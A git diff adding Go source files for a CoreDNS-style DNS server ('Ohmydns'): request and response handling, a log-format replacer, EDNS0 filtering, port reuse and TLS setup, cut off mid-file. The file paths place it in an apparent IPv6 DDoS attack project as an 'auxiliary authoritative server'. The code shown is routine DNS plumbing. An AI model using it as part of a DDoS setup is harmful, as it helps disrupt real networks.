+ return loadFormat(s).Replace(ctx, state, rr)
+}
+
+const (
+ headerReplacer = "{>"
+ // EmptyValue is the default empty value.
+ EmptyValue = "-"
+)
+
+// labels are all supported labels that can be used in the default Replacer.
+var labels = map[string]struct{}{
+ "{type}": {},
+ "{name}": {},
+ "{class}": {},
+ "{proto}": {},
+ "{size}": {},
+ "{remote}": {},
+ "{port}": {},
+ "{local}": {},
+ // Header values.
+ headerReplacer + "id}": {},
+ headerReplacer + "opcode}": {},
+ headerReplacer + "do}": {},
+ headerReplacer + "bufsize}": {},
+ // Recorded replacements.
+ "{rcode}": {},
+ "{rsize}": {},
+ "{duration}": {},
+ headerReplacer + "rflags}": {},
+}
+
+// appendValue appends the current value of label.
+func appendValue(b []byte, state request.Request, rr *dnstest.Recorder, label string) []byte {
+ switch label {
+ case "{type}":
+ return append(b, state.Type()...)
+ case "{name}":
+ return append(b, state.Name()...)
+ case "{class}":
+ return append(b, state.Class()...)
+ case "{proto}":
+ return append(b, state.Proto()...)
+ case "{size}":
+ return strconv.AppendInt(b, int64(state.Req.Len()), 10)
+ case "{remote}":
+ return appendAddrToRFC3986(b, state.IP())
+ case "{port}":
+ return append(b, state.Port()...)
+ case "{local}":
+ return appendAddrToRFC3986(b, state.LocalIP())
+ // Header placeholders (case-insensitive).
+ case headerReplacer + "id}":
+ return strconv.AppendInt(b, int64(state.Req.Id), 10)
+ case headerReplacer + "opcode}":
+ return strconv.AppendInt(b, int64(state.Req.Opcode), 10)
+ case headerReplacer + "do}":
+ return strconv.AppendBool(b, state.Do())
+ case headerReplacer + "bufsize}":
+ return strconv.AppendInt(b, int64(state.Size()), 10)
+ // Recorded replacements.
+ case "{rcode}":
+ if rr == nil || rr.Msg == nil {
+ return append(b, EmptyValue...)
+ }
+ if rcode := dns.RcodeToString[rr.Rcode]; rcode != "" {
+ return append(b, rcode...)
+ }
+ return strconv.AppendInt(b, int64(rr.Rcode), 10)
+ case "{rsize}":
+ if rr == nil {
+ return append(b, EmptyValue...)
+ }
+ return strconv.AppendInt(b, int64(rr.Len), 10)
+ case "{duration}":
+ if rr == nil {
+ return append(b, EmptyValue...)
+ }
+ secs := time.Since(rr.Start).Seconds()
+ return append(strconv.AppendFloat(b, secs, 'f', -1, 64), 's')
+ case headerReplacer + "rflags}":
+ if rr != nil && rr.Msg != nil {
+ return appendFlags(b, rr.Msg.MsgHdr)
+ }
+ return append(b, EmptyValue...)
+ default:
+ return append(b, EmptyValue...)
+ }
+}
+
+// appendFlags checks all header flags and appends those
+// that are set as a string separated with commas
+func appendFlags(b []byte, h dns.MsgHdr) []byte {
+ origLen := len(b)
+ if h.Response {
+ b = append(b, "qr,"...)
+ }
+ if h.Authoritative {
+ b = append(b, "aa,"...)
+ }
+ if h.Truncated {
+ b = append(b, "tc,"...)
+ }
+ if h.RecursionDesired {
+ b = append(b, "rd,"...)
+ }
+ if h.RecursionAvailable {
+ b = append(b, "ra,"...)
+ }
+ if h.Zero {
+ b = append(b, "z,"...)
+ }
+ if h.AuthenticatedData {
+ b = append(b, "ad,"...)
+ }
+ if h.CheckingDisabled {
+ b = append(b, "cd,"...)
+ }
+ if n := len(b); n > origLen {
+ return b[:n-1] // trim trailing ','
+ }
+ return b
+}
+
+// appendAddrToRFC3986 will add brackets to the address if it is an IPv6 address.
+func appendAddrToRFC3986(b []byte, addr string) []byte {
+ if strings.IndexByte(addr, ':') != -1 {
+ b = append(b, '[')
+ b = append(b, addr...)
+ b = append(b, ']')
+ } else {
+ b = append(b, addr...)
+ }
+ return b
+}
+
+type nodeType int
+
+const (
+ typeLabel nodeType = iota // "{type}"
+ typeLiteral // "foo"
+ typeMetadata // "{/metadata}"
+)
+
+// A node represents a segment of a parsed format. For example: "A {type}"
+// contains two nodes: "A " (literal); and "{type}" (label).
+type node struct {
+ value string // Literal value, label or metadata label
+ typ nodeType
+}
+
+// A replacer is an ordered list of all the nodes in a format.
+type replacer []node
+
+func parseFormat(s string) replacer {
+ // Assume there is a literal between each label - its cheaper to over
+ // allocate once than allocate twice.
+ rep := make(replacer, 0, strings.Count(s, "{")*2)
+ for {
+ // We find the right bracket then backtrack to find the left bracket.
+ // This allows us to handle formats like: "{ {foo} }".
+ j := strings.IndexByte(s, '}')
+ if j < 0 {
+ break
+ }
+ i := strings.LastIndexByte(s[:j], '{')
+ if i < 0 {
+ // Handle: "A } {foo}" by treating "A }" as a literal
+ rep = append(rep, node{
+ value: s[:j+1],
+ typ: typeLiteral,
+ })
+ s = s[j+1:]
+ continue
+ }
+
+ val := s[i : j+1]
+ var typ nodeType
+ switch _, ok := labels[val]; {
+ case ok:
+ typ = typeLabel
+ case strings.HasPrefix(val, "{/"):
+ // Strip "{/}" from metadata labels
+ val = val[2 : len(val)-1]
+ typ = typeMetadata
+ default:
+ // Given: "A {X}" val is "{X}" expand it to the whole literal.
+ val = s[:j+1]
+ typ = typeLiteral
+ }
+
+ // Append any leading literal. Given "A {type}" the literal is "A "
+ if i != 0 && typ != typeLiteral {
+ rep = append(rep, node{
+ value: s[:i],
+ typ: typeLiteral,
+ })
+ }
+ rep = append(rep, node{
+ value: val,
+ typ: typ,
+ })
+ s = s[j+1:]
+ }
+ if len(s) != 0 {
+ rep = append(rep, node{
+ value: s,
+ typ: typeLiteral,
+ })
+ }
+ return rep
+}
+
+var replacerCache sync.Map // map[string]replacer
+
+func loadFormat(s string) replacer {
+ if v, ok := replacerCache.Load(s); ok {
+ return v.(replacer)
+ }
+ v, _ := replacerCache.LoadOrStore(s, parseFormat(s))
+ return v.(replacer)
+}
+
+// bufPool stores pointers to scratch buffers.
+var bufPool = sync.Pool{
+ New: func() interface{} {
+ return make([]byte, 0, 256)
+ },
+}
+
+func (r replacer) Replace(ctx context.Context, state request.Request, rr *dnstest.Recorder) string {
+ b := bufPool.Get().([]byte)
+ for _, s := range r {
+ switch s.typ {
+ case typeLabel:
+ b = appendValue(b, state, rr, s.value)
+ case typeLiteral:
+ b = append(b, s.value...)
+ case typeMetadata:
+ if fm := metadata.ValueFunc(ctx, s.value); fm != nil {
+ b = append(b, fm()...)
+ } else {
+ b = append(b, EmptyValue...)
+ }
+ }
+ }
+ s := string(b)
+ //nolint:staticcheck
+ bufPool.Put(b[:0])
+ return s
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/README.md b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/README.md
new file mode 100644
index 0000000..3811395
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/README.md
@@ -0,0 +1 @@
+所有*Ohmydns*接收到的请求将由request中的函数进行处理 \ No newline at end of file
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/edns0.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/edns0.go
new file mode 100644
index 0000000..99aad42
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/edns0.go
@@ -0,0 +1,30 @@
+package request
+
+import (
+ "github.com/miekg/dns"
+ "ohmydns2/plugin/pkg/edns"
+)
+
+func supportedOptions(o []dns.EDNS0) []dns.EDNS0 {
+ var supported = make([]dns.EDNS0, 0, 3)
+ // For as long as possible try avoid looking up in the map, because that need an Rlock.
+ for _, opt := range o {
+ switch code := opt.Option(); code {
+ case dns.EDNS0NSID:
+ fallthrough
+ case dns.EDNS0EXPIRE:
+ fallthrough
+ case dns.EDNS0COOKIE:
+ fallthrough
+ case dns.EDNS0TCPKEEPALIVE:
+ fallthrough
+ case dns.EDNS0PADDING:
+ supported = append(supported, opt)
+ default:
+ if edns.SupportedOption(code) {
+ supported = append(supported, opt)
+ }
+ }
+ }
+ return supported
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/http_request.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/http_request.go
new file mode 100644
index 0000000..1a37dd1
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/http_request.go
@@ -0,0 +1,25 @@
+package request
+
+import (
+ "net/http"
+)
+
+// HTTPRequest contains some connection state and is useful in plugin.
+type HTTPRequest struct {
+ Req *http.Request
+ W http.ResponseWriter
+
+ // Optional lowercased zone of this query.
+ Zone string
+
+ // Cache size after first call to Size or Do. If size is zero nothing has been cached yet.
+ // Both Size and Do set these values (and cache them).
+ size uint16 // UDP buffer size, or 64K in case of TCP.
+
+ // Caches
+ family int8 // transport's family.
+ ip string // client's ip.
+ port string // client's port.
+ localPort string // server's port.
+ localIP string // server's ip.
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/request.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/request.go
new file mode 100644
index 0000000..24dc03e
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/request.go
@@ -0,0 +1,362 @@
+// request 抽象出一个客户端的请求,让所有的插件统一处理
+package request
+
+import (
+ "net"
+ "ohmydns2/plugin/pkg/edns"
+ "strings"
+
+ "github.com/miekg/dns"
+)
+
+// Request contains some connection state and is useful in plugin.
+type Request struct {
+ Req *dns.Msg
+ W dns.ResponseWriter
+
+ // Optional lowercased zone of this query.
+ Zone string
+
+ // Cache size after first call to Size or Do. If size is zero nothing has been cached yet.
+ // Both Size and Do set these values (and cache them).
+ size uint16 // UDP buffer size, or 64K in case of TCP.
+ do bool // DNSSEC OK value
+
+ // Caches
+ family int8 // transport's family.
+ name string // lowercase qname.
+ ip string // client's ip.
+ port string // client's port.
+ localPort string // server's port.
+ localIP string // server's ip.
+}
+
+// NewWithQuestion returns a new request based on the old, but with a new question
+// section in the request.
+func (r *Request) NewWithQuestion(name string, typ uint16) Request {
+ req1 := Request{W: r.W, Req: r.Req.Copy()}
+ req1.Req.Question[0] = dns.Question{Name: dns.Fqdn(name), Qclass: dns.ClassINET, Qtype: typ}
+ return req1
+}
+
+// IP gets the (remote) IP address of the client making the request.
+func (r *Request) IP() string {
+ if r.ip != "" {
+ return r.ip
+ }
+
+ ip, _, err := net.SplitHostPort(r.W.RemoteAddr().String())
+ if err != nil {
+ r.ip = r.W.RemoteAddr().String()
+ return r.ip
+ }
+
+ r.ip = ip
+ return r.ip
+}
+
+// LocalIP gets the (local) IP address of server handling the request.
+func (r *Request) LocalIP() string {
+ if r.localIP != "" {
+ return r.localIP
+ }
+
+ ip, _, err := net.SplitHostPort(r.W.LocalAddr().String())
+ if err != nil {
+ r.localIP = r.W.LocalAddr().String()
+ return r.localIP
+ }
+
+ r.localIP = ip
+ return r.localIP
+}
+
+// Port gets the (remote) port of the client making the request.
+func (r *Request) Port() string {
+ if r.port != "" {
+ return r.port
+ }
+
+ _, port, err := net.SplitHostPort(r.W.RemoteAddr().String())
+ if err != nil {
+ r.port = "0"
+ return r.port
+ }
+
+ r.port = port
+ return r.port
+}
+
+// LocalPort gets the local port of the server handling the request.
+func (r *Request) LocalPort() string {
+ if r.localPort != "" {
+ return r.localPort
+ }
+
+ _, port, err := net.SplitHostPort(r.W.LocalAddr().String())
+ if err != nil {
+ r.localPort = "0"
+ return r.localPort
+ }
+
+ r.localPort = port
+ return r.localPort
+}
+
+// RemoteAddr returns the net.Addr of the client that sent the current request.
+func (r *Request) RemoteAddr() string { return r.W.RemoteAddr().String() }
+
+// LocalAddr returns the net.Addr of the server handling the current request.
+func (r *Request) LocalAddr() string { return r.W.LocalAddr().String() }
+
+// Proto gets the protocol used as the transport. This will be udp or tcp.
+func (r *Request) Proto() string {
+ if _, ok := r.W.RemoteAddr().(*net.UDPAddr); ok {
+ return "udp"
+ }
+ if _, ok := r.W.RemoteAddr().(*net.TCPAddr); ok {
+ return "tcp"
+ }
+ return "udp"
+}
+
+// Family returns the family of the transport, 1 for IPv4 and 2 for IPv6.
+func (r *Request) Family() int {
+ if r.family != 0 {
+ return int(r.family)
+ }
+
+ var a net.IP
+ ip := r.W.RemoteAddr()
+ if i, ok := ip.(*net.UDPAddr); ok {
+ a = i.IP
+ }
+ if i, ok := ip.(*net.TCPAddr); ok {
+ a = i.IP
+ }
+
+ if a.To4() != nil {
+ r.family = 1
+ return 1
+ }
+ r.family = 2
+ return 2
+}
+
+// Do returns true if the request has the DO (DNSSEC OK) bit set.
+func (r *Request) Do() bool {
+ if r.size != 0 {
+ return r.do
+ }
+
+ r.Size()
+ return r.do
+}
+
+// Len returns the length in bytes in the request.
+func (r *Request) Len() int { return r.Req.Len() }
+
+// Size returns if buffer size *advertised* in the requests OPT record.
+// Or when the request was over TCP, we return the maximum allowed size of 64K.
+func (r *Request) Size() int {
+ if r.size != 0 {
+ return int(r.size)
+ }
+
+ size := uint16(0)
+ if o := r.Req.IsEdns0(); o != nil {
+ r.do = o.Do()
+ size = o.UDPSize()
+ }
+
+ // normalize size
+ size = edns.Size(r.Proto(), size)
+ r.size = size
+ return int(size)
+}
+
+// SizeAndDo adds an OPT record that the reflects the intent from request.
+// The returned bool indicates if an record was found and normalised.
+func (r *Request) SizeAndDo(m *dns.Msg) bool {
+ o := r.Req.IsEdns0()
+ if o == nil {
+ return false
+ }
+
+ if mo := m.IsEdns0(); mo != nil {
+ mo.Hdr.Name = "."
+ mo.Hdr.Rrtype = dns.TypeOPT
+ mo.SetVersion(0)
+ mo.SetUDPSize(o.UDPSize())
+ mo.Hdr.Ttl &= 0xff00 // clear flags
+
+ // Assume if the message m has options set, they are OK and represent what an upstream can do.
+
+ if o.Do() {
+ mo.SetDo()
+ }
+ return true
+ }
+
+ // Reuse the request's OPT record and tack it to m.
+ o.Hdr.Name = "."
+ o.Hdr.Rrtype = dns.TypeOPT
+ o.SetVersion(0)
+ o.Hdr.Ttl &= 0xff00 // clear flags
+
+ if len(o.Option) > 0 {
+ o.Option = supportedOptions(o.Option)
+ }
+
+ m.Extra = append(m.Extra, o)
+ return true
+}
+
+// Scrub scrubs the reply message so that it will fit the client's buffer. It will first
+// check if the reply fits without compression and then *with* compression.
+// Note, the TC bit will be set regardless of protocol, even TCP message will
+// get the bit, the client should then retry with pigeons.
+func (r *Request) Scrub(reply *dns.Msg) *dns.Msg {
+ reply.Truncate(r.Size())
+
+ if reply.Compress {
+ return reply
+ }
+
+ if r.Proto() == "udp" {
+ rl := reply.Len()
+ // Last ditch attempt to avoid fragmentation, if the size is bigger than the v4/v6 UDP fragmentation
+ // limit and sent via UDP compress it (in the hope we go under that limit). Limits taken from NSD:
+ //
+ // .., 1480 (EDNS/IPv4), 1220 (EDNS/IPv6), or the advertised EDNS buffer size if that is
+ // smaller than the EDNS default.
+ // See: https://open.nlnetlabs.nl/pipermail/nsd-users/2011-November/001278.html
+ if rl > 1480 && r.Family() == 1 {
+ reply.Compress = true
+ }
+ if rl > 1220 && r.Family() == 2 {
+ reply.Compress = true
+ }
+ }
+
+ return reply
+}
+
+// Type returns the type of the question as a string. If the request is malformed the empty string is returned.
+func (r *Request) Type() string {
+ if r.Req == nil {
+ return ""
+ }
+ if len(r.Req.Question) == 0 {
+ return ""
+ }
+
+ return dns.Type(r.Req.Question[0].Qtype).String()
+}
+
+// QType returns the type of the question as an uint16. If the request is malformed
+// 0 is returned.
+func (r *Request) QType() uint16 {
+ if r.Req == nil {
+ return 0
+ }
+ if len(r.Req.Question) == 0 {
+ return 0
+ }
+
+ return r.Req.Question[0].Qtype
+}
+
+// Name returns the name of the question in the request. Note
+// this name will always have a closing dot and will be lower cased. After a call Name
+// the value will be cached. To clear this caching call Clear.
+// If the request is malformed the root zone is returned.
+func (r *Request) Name() string {
+ if r.name != "" {
+ return r.name
+ }
+ if r.Req == nil {
+ r.name = "."
+ return "."
+ }
+ if len(r.Req.Question) == 0 {
+ r.name = "."
+ return "."
+ }
+
+ r.name = strings.ToLower(dns.Name(r.Req.Question[0].Name).String())
+ return r.name
+}
+
+// QName returns the name of the question in the request.
+// If the request is malformed the root zone is returned.
+func (r *Request) QName() string {
+ if r.Req == nil {
+ return "."
+ }
+ if len(r.Req.Question) == 0 {
+ return "."
+ }
+
+ return dns.Name(r.Req.Question[0].Name).String()
+}
+
+// Class returns the class of the question in the request.
+// If the request is malformed the empty string is returned.
+func (r *Request) Class() string {
+ if r.Req == nil {
+ return ""
+ }
+ if len(r.Req.Question) == 0 {
+ return ""
+ }
+
+ return dns.Class(r.Req.Question[0].Qclass).String()
+}
+
+// QClass returns the class of the question in the request.
+// If the request is malformed 0 returned.
+func (r *Request) QClass() uint16 {
+ if r.Req == nil {
+ return 0
+ }
+ if len(r.Req.Question) == 0 {
+ return 0
+ }
+
+ return r.Req.Question[0].Qclass
+}
+
+// Clear clears all caching from Request s.
+func (r *Request) Clear() {
+ r.name = ""
+ r.ip = ""
+ r.localIP = ""
+ r.port = ""
+ r.localPort = ""
+ r.family = 0
+ r.size = 0
+ r.do = false
+}
+
+// Match checks if the reply matches the qname and qtype from the request, it returns
+// false when they don't match.
+func (r *Request) Match(reply *dns.Msg) bool {
+ if len(reply.Question) != 1 {
+ return false
+ }
+
+ if !reply.Response {
+ return false
+ }
+
+ if strings.ToLower(reply.Question[0].Name) != r.Name() {
+ return false
+ }
+
+ if reply.Question[0].Qtype != r.QType() {
+ return false
+ }
+
+ return true
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/writer.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/writer.go
new file mode 100644
index 0000000..587b3b5
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/request/writer.go
@@ -0,0 +1,21 @@
+package request
+
+import "github.com/miekg/dns"
+
+// ScrubWriter will, when writing the message, call scrub to make it fit the client's buffer.
+type ScrubWriter struct {
+ dns.ResponseWriter
+ req *dns.Msg // original request
+}
+
+// NewScrubWriter returns a new and initialized ScrubWriter.
+func NewScrubWriter(req *dns.Msg, w dns.ResponseWriter) *ScrubWriter { return &ScrubWriter{w, req} }
+
+// WriteMsg overrides the default implementation of the underlying dns.ResponseWriter and calls
+// scrub on the message m and will then write it to the client.
+func (s *ScrubWriter) WriteMsg(m *dns.Msg) error {
+ state := Request{Req: s.req, W: s.ResponseWriter}
+ state.SizeAndDo(m)
+ state.Scrub(m)
+ return s.ResponseWriter.WriteMsg(m)
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/response/classify.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/response/classify.go
new file mode 100644
index 0000000..2e705cb
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/response/classify.go
@@ -0,0 +1,61 @@
+package response
+
+import "fmt"
+
+// Class holds sets of Types
+type Class int
+
+const (
+ // All is a meta class encompassing all the classes.
+ All Class = iota
+ // Success is a class for a successful response.
+ Success
+ // Denial is a class for denying existence (NXDOMAIN, or a nodata: type does not exist)
+ Denial
+ // Error is a class for errors, right now defined as not Success and not Denial
+ Error
+)
+
+func (c Class) String() string {
+ switch c {
+ case All:
+ return "all"
+ case Success:
+ return "success"
+ case Denial:
+ return "denial"
+ case Error:
+ return "error"
+ }
+ return ""
+}
+
+// ClassFromString returns the class from the string s. If not class matches
+// the All class and an error are returned
+func ClassFromString(s string) (Class, error) {
+ switch s {
+ case "all":
+ return All, nil
+ case "success":
+ return Success, nil
+ case "denial":
+ return Denial, nil
+ case "error":
+ return Error, nil
+ }
+ return All, fmt.Errorf("invalid Class: %s", s)
+}
+
+// Classify classifies the Type t, it returns its Class.
+func Classify(t Type) Class {
+ switch t {
+ case NoError, Delegation:
+ return Success
+ case NameError, NoData:
+ return Denial
+ case OtherError:
+ fallthrough
+ default:
+ return Error
+ }
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/response/type.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/response/type.go
new file mode 100644
index 0000000..ca42202
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/response/type.go
@@ -0,0 +1,150 @@
+package response
+
+import (
+ "fmt"
+ "github.com/miekg/dns"
+ "time"
+)
+
+// Type is the type of the message.
+type Type int
+
+const (
+ // NoError indicates a positive reply
+ NoError Type = iota
+ // NameError is a NXDOMAIN in header, SOA in auth.
+ NameError
+ // ServerError is a set of errors we want to cache, for now it contains SERVFAIL and NOTIMPL.
+ ServerError
+ // NoData indicates name found, but not the type: NOERROR in header, SOA in auth.
+ NoData
+ // Delegation is a msg with a pointer to another nameserver: NOERROR in header, NS in auth, optionally fluff in additional (not checked).
+ Delegation
+ // Meta indicates a meta message, NOTIFY, or a transfer: qType is IXFR or AXFR.
+ Meta
+ // Update is an dynamic update message.
+ Update
+ // OtherError indicates any other error: don't cache these.
+ OtherError
+)
+
+var toString = map[Type]string{
+ NoError: "NOERROR",
+ NameError: "NXDOMAIN",
+ ServerError: "SERVERERROR",
+ NoData: "NODATA",
+ Delegation: "DELEGATION",
+ Meta: "META",
+ Update: "UPDATE",
+ OtherError: "OTHERERROR",
+}
+
+func (t Type) String() string { return toString[t] }
+
+// TypeFromString returns the type from the string s. If not type matches
+// the OtherError type and an error are returned.
+func TypeFromString(s string) (Type, error) {
+ for t, str := range toString {
+ if s == str {
+ return t, nil
+ }
+ }
+ return NoError, fmt.Errorf("invalid Type: %s", s)
+}
+
+// Typify classifies a message, it returns the Type.
+func Typify(m *dns.Msg, t time.Time) (Type, *dns.OPT) {
+ if m == nil {
+ return OtherError, nil
+ }
+ opt := m.IsEdns0()
+ do := false
+ if opt != nil {
+ do = opt.Do()
+ }
+
+ if m.Opcode == dns.OpcodeUpdate {
+ return Update, opt
+ }
+
+ // Check transfer and update first
+ if m.Opcode == dns.OpcodeNotify {
+ return Meta, opt
+ }
+
+ if len(m.Question) > 0 {
+ if m.Question[0].Qtype == dns.TypeAXFR || m.Question[0].Qtype == dns.TypeIXFR {
+ return Meta, opt
+ }
+ }
+
+ // If our message contains any expired sigs and we care about that, we should return expired
+ if do {
+ if expired := typifyExpired(m, t); expired {
+ return OtherError, opt
+ }
+ }
+
+ if len(m.Answer) > 0 && m.Rcode == dns.RcodeSuccess {
+ return NoError, opt
+ }
+
+ soa := false
+ ns := 0
+ for _, r := range m.Ns {
+ if r.Header().Rrtype == dns.TypeSOA {
+ soa = true
+ continue
+ }
+ if r.Header().Rrtype == dns.TypeNS {
+ ns++
+ }
+ }
+
+ if soa && m.Rcode == dns.RcodeSuccess {
+ return NoData, opt
+ }
+ if soa && m.Rcode == dns.RcodeNameError {
+ return NameError, opt
+ }
+
+ if m.Rcode == dns.RcodeServerFailure || m.Rcode == dns.RcodeNotImplemented {
+ return ServerError, opt
+ }
+
+ if ns > 0 && m.Rcode == dns.RcodeSuccess {
+ return Delegation, opt
+ }
+
+ if m.Rcode == dns.RcodeSuccess {
+ return NoError, opt
+ }
+
+ return OtherError, opt
+}
+
+func typifyExpired(m *dns.Msg, t time.Time) bool {
+ if expired := typifyExpiredRRSIG(m.Answer, t); expired {
+ return true
+ }
+ if expired := typifyExpiredRRSIG(m.Ns, t); expired {
+ return true
+ }
+ if expired := typifyExpiredRRSIG(m.Extra, t); expired {
+ return true
+ }
+ return false
+}
+
+func typifyExpiredRRSIG(rrs []dns.RR, t time.Time) bool {
+ for _, r := range rrs {
+ if r.Header().Rrtype != dns.TypeRRSIG {
+ continue
+ }
+ ok := r.(*dns.RRSIG).ValidityPeriod(t)
+ if !ok {
+ return true
+ }
+ }
+ return false
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/reuseport/listen_no_reuseport.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/reuseport/listen_no_reuseport.go
new file mode 100644
index 0000000..2a15026
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/reuseport/listen_no_reuseport.go
@@ -0,0 +1,13 @@
+//go:build !go1.11 || (!aix && !darwin && !dragonfly && !freebsd && !linux && !netbsd && !openbsd)
+
+package reuseport
+
+import "net"
+
+// Listen is a wrapper around net.Listen.
+func Listen(network, addr string) (net.Listener, error) { return net.Listen(network, addr) }
+
+// ListenPacket is a wrapper around net.ListenPacket.
+func ListenPacket(network, addr string) (net.PacketConn, error) {
+ return net.ListenPacket(network, addr)
+} \ No newline at end of file
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/reuseport/listen_reuseport.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/reuseport/listen_reuseport.go
new file mode 100644
index 0000000..6143c02
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/reuseport/listen_reuseport.go
@@ -0,0 +1,35 @@
+//go:build go1.11 && (aix || darwin || dragonfly || freebsd || linux || netbsd || openbsd)
+package reuseport
+
+import (
+ "context"
+ "net"
+ "syscall"
+
+ "ohmydns2/plugin/pkg/log"
+
+ "golang.org/x/sys/unix"
+)
+
+func control(network, address string, c syscall.RawConn) error {
+ c.Control(func(fd uintptr) {
+ if err := unix.SetsockoptInt(int(fd), unix.SOL_SOCKET, unix.SO_REUSEPORT, 1); err != nil {
+ log.Warningf("Failed to set SO_REUSEPORT on socket: %s", err)
+ }
+ })
+ return nil
+}
+
+// Listen announces on the local network address. See net.Listen for more information.
+// If SO_REUSEPORT is available it will be set on the socket.
+func Listen(network, addr string) (net.Listener, error) {
+ lc := net.ListenConfig{Control: control}
+ return lc.Listen(context.Background(), network, addr)
+}
+
+// ListenPacket announces on the local network address. See net.ListenPacket for more information.
+// If SO_REUSEPORT is available it will be set on the socket.
+func ListenPacket(network, addr string) (net.PacketConn, error) {
+ lc := net.ListenConfig{Control: control}
+ return lc.ListenPacket(context.Background(), network, addr)
+}
diff --git a/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/tls/tls.go b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/tls/tls.go
new file mode 100644
index 0000000..41eff4b
--- /dev/null
+++ b/att script/4(v6 DDoS)/code/辅助权威服务器/plugin/pkg/tls/tls.go
@@ -0,0 +1,149 @@
+package tls
+
+import (
+ "crypto/tls"
+ "crypto/x509"
+ "fmt"
+ "net"
+ "net/http"
+ "os"
+ "path/filepath"
+ "time"
+)
+
+func setTLSDefaults(ctls *tls.Config) {
+ ctls.MinVersion = tls.VersionTLS12
+ ctls.MaxVersion = tls.VersionTLS13
+ ctls.CipherSuites = []uint16{
+ tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,
+ tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
+ tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,
+ tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,
+ tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,
+ tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
+ tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,
+ tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,
+ tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,
+ }
+}
+
+// NewTLSConfigFromArgs returns a TLS config based upon the passed
+// in list of arguments. Typically these come straight from the
+// Corefile.
+// no args
+// - creates a Config with no cert and using system CAs
+// - use for a client that talks to a server with a public signed cert (CA installed in system)
+// - the client will not be authenticated by the server since there is no cert
+//
+// one arg: the path to CA PEM file
+// - creates a Config with no cert using a specific CA
+// - use for a client that talks to a server with a private signed cert (CA not installed in system)
+// - the client will not be authenticated by the server since there is no cert
+//
+// two args: path to cert PEM file, the path to private key PEM file
+// - creates a Config with a cert, using system CAs to validate the other end
+// - use for:
+// - a server; or,
+// - a client that talks to a server with a public cert and needs certificate-based authentication
+// - the other end will authenticate this end via the provided cert
+// - the cert of the other end will be verified via system CAs
+//
+// three args: path to cert PEM file, path to client private key PEM file, path to CA PEM file
+// - creates a Config with the cert, using specified CA to validate the other end
+// - use for:
+// - a server; or,
+// - a client that talks to a server with a privately signed cert and needs certificate-based
+// authentication
+// - the other end will authenticate this end via the provided cert
+// - this end will verify the other end's cert using the specified CA
+func NewTLSConfigFromArgs(args ...string) (*tls.Config, error) {
+ var err error
+ var c *tls.Config
+ switch len(args) {
+ case 0:
+ // No client cert, use system CA
+ c, err = NewTLSClientConfig("")
+ case 1:
+ // No client cert, use specified CA
+ c, err = NewTLSClientConfig(args[0])
+ case 2:
+ // Client cert, use system CA
+ c, err = NewTLSConfig(args[0], args[1], "")
+ case 3:
+ // Client cert, use specified CA
+ c, err = NewTLSConfig(args[0], args[1], args[2])
+ default:
+ err = fmt.Errorf("maximum of three arguments allowed for TLS config, found %d", len(args))
+ }
+ if err != nil {
+ return nil, err
+ }
+ return c, nil
+}
+
+// NewTLSConfig returns a TLS config that includes a certificate
+// Use for server TLS config or when using a client certificate
+// If caPath is empty, system CAs will be used
+func NewTLSConfig(certPath, keyPath, caPath string) (*tls.Config, error) {
+ cert, err := tls.LoadX509KeyPair(certPath, keyPath)
+ if err != nil {
+ return nil, fmt.Errorf("could not load TLS cert: %s", err)
+ }
+
+ roots, err := loadRoots(caPath)
+ if err != nil {
+ return nil, err
+ }
+
+ tlsConfig := &tls.Config{Certificates: []tls.Certificate{cert}, RootCAs: roots}
+ setTLSDefaults(tlsConfig)
+
+ return tlsConfig, nil
+}
+
+// NewTLSClientConfig returns a TLS config for a client connection
+// If caPath is empty, system CAs will be used
+func NewTLSClientConfig(caPath string) (*tls.Config, error) {
+ roots, err := loadRoots(caPath)
+ if err != nil {
+ return nil, err
+ }
+
+ tlsConfig := &tls.Config{RootCAs: roots}
+ setTLSDefaults(tlsConfig)
+
